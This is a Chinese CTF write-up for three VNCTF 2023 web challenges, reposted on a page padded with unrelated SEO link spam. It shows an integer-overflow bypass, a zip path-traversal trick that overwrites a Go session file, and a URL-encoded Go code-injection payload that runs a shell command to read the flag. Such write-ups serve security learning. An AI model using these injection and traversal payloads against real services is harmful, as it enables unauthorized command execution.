当前位置: 首页 > news >正文

重庆建设部网站2022年关键词排名

重庆建设部网站,2022年关键词排名,wordpress设置登录页面,专做丰田车货款的网站文章目录象棋王子电子木鱼BabyGo象棋王子 签到题,直接在源码中找就ok。 找到一处编码,在控制台输出。 flag为:flag{w3lc0m3_t0_VNCTF_2023~~~} 电子木鱼 需要先理清代码逻辑。 存在三个路由。 一:/路由用来查看当前的功德数量…

文章目录

  • 象棋王子
  • 电子木鱼
  • BabyGo

象棋王子

签到题,直接在源码中找就ok。

image-20230219170613121

找到一处编码,在控制台输出。

image-20230219170654773

flag为:flag{w3lc0m3_t0_VNCTF_2023~~~}

电子木鱼

需要先理清代码逻辑。

存在三个路由。

一:/路由用来查看当前的功德数量,大于十亿后即可得到flag。

二:/reset是用来清空功德。

三:/upgrade,POST路由,用来控制功德。

image-20230219171232585

在这里可以知道各种name对应的cost。

image-20230219171319445

最主要的是这几个代码,首先是当name等于Donate和Cost时

cost=cost*quantity

然后最后设定的功德值是原值减去cost值,所以想办法让cost为负数或者quantity为负数即可让功德增加,在name等于Donate和Cost时cost初始都是整数,只能让quantity为负,想到让quantity过大然后溢出。

image-20230219171812605

成功溢出。

image-20230219171831374

flag为:flag{492cd242-6038-4a31-9bc4-1701624bf759}

BabyGo

本题为复现,当时不懂如何让ctfer.Power == “admin”。

首先也是理清一下代码逻辑,存在五个路由。

首先就是/路由。

image-20230219172214142

该路由创建了一个user.gob文件,保存到userDir目录下,然后设置了ctfer.Power的值为low。

gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}

然后就是文件上传路由。

image-20230219172448959

禁止了go和gob后缀的文件传入。

将文件传入到image-20230219172751592

userUploadDir就是/页面下中回显的目录+uploads/

所以是传入到了/tmp/05b9ef44a4225019d5e074eb8582dd2a/uploads/下。

再看一下/unzip路由:

大概作用就是去解压我们传上去的文件。

但注意其中image-20230219173107976

解压后的文件会解压到userUploadDir + c.Query(“path”)

c.Query作用是查询请求URL后面的参数。

代表我们可以控制path的值,看一下filepath.Clean的作用。

image-20230219173428571

代表了可以进行目录穿越,控制解压后的文件的传入路径。

继续看最后的/backdoor路由。

image-20230219173551967

去Open之前的user.gob文件,然后经过gob.NewDecoder操作。

image-20230219173806592

NewDecoder则是一种解码方式,也就是以二进制解码一下user.gob文件。

image-20230219173903090

如果ctfer.Power==“admin”,那么变可以继续,看一下最早是如何给ctf.Power设定值的。

image-20230219173955016

所以我们可以去利用解压文件后的目录可控来覆盖user.gob文件,修改其内容。

(16)Go OS文件基础创建、打开、读写与关闭_jadeshu的博客-CSDN博客_go os.create

学习了一下文件的操作。

//user.go
package mainimport ("encoding/gob""fmt""os"
)type User struct {Name  stringPath  stringPower string
}func main(){userDir := "/tmp/05b9ef44a4225019d5e074eb8582dd2a/"  //自己docker起后的路径user := User{Name: "ctfer", Path: userDir, Power: "admin"}file, err := os.Create("./user.gob")if err != nil {fmt.Println("创建文件失败")return}defer file.Close()encoder := gob.NewEncoder(file)err = encoder.Encode(user)if err != nil {fmt.Println("编码错误")return} else {fmt.Println("编码成功")}
}

运行go脚本,然后得到gob文件,然后zip压缩上传。

payload:

/unzip?path=../../../tmp/c737f02c5be938c8ba38850084a0cb52/
/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt

image-20230219183150498

然后python脚本解码:

str = [102,108,97,103,123,102,54,52,99,98,52,56,53,45,101,98,57,53,45,52,52,50,99,45,57,99,49,54,45,55,100,102,98,48,52,97,100,102,57,57,101,125,10]for i in range(42):print(chr(str[i]),end="")
http://www.tj-hxxt.cn/news/4698.html

相关文章:

  • wordpress仿模板郑州网站seo优化
  • 有限责任公司破产债务怎么处理新手学seo
  • 微信网站建设合同上海网络推广服务
  • 无锡哪里做网站好网站关键词优化办法
  • 建设网络平台成都网络优化托管公司
  • 做智能家居网站需要的参考文献百度网站推广价格查询
  • 服务器搭建网站方案500字seo网络贸易网站推广
  • 深圳网站优化成品视频直播软件推荐哪个好用
  • 四川省建设厅职称查询网站网络营销的特点主要包括什么
  • 凡科可以做游戏网站吗谷歌优化的最佳方案
  • 网站开发岗位思维导图企业网站有哪些功能
  • 企业网站seo教程免费个人网站服务器
  • 网站数据链接怎么做seo方式包括
  • 天津做网站选津坤科技网站推广引流
  • 长春网站制作平台网络营销方式都有哪些
  • wordpress 图片缩小排名优化课程
  • 国外有什么网站做游戏吗百度起诉seo公司
  • wordpress主题制作全过程新手必看宁波关键词优化平台
  • 护肤品网站制作 网新科技高端企业网站模板
  • 怎么找网站做宣传网站免费推广
  • 网站开发直播软件网站下载
  • 新建网站怎么做关键词网站接广告
  • 国土资源集约化网站群建设通知b站黄页推广软件
  • 西宁公司网站设计最新腾讯新闻
  • 淄博桓台学校网站建设方案注册网站平台
  • 佛山网站建设维护磁力链 ciliba
  • 网站制作 建站网络黄页推广软件
  • 网站域名解析页面app推广多少钱一单
  • 如何做淘客发单网站宁波网站推广优化公司怎么样
  • 河南省建设厅官方网站李学军google推广怎么做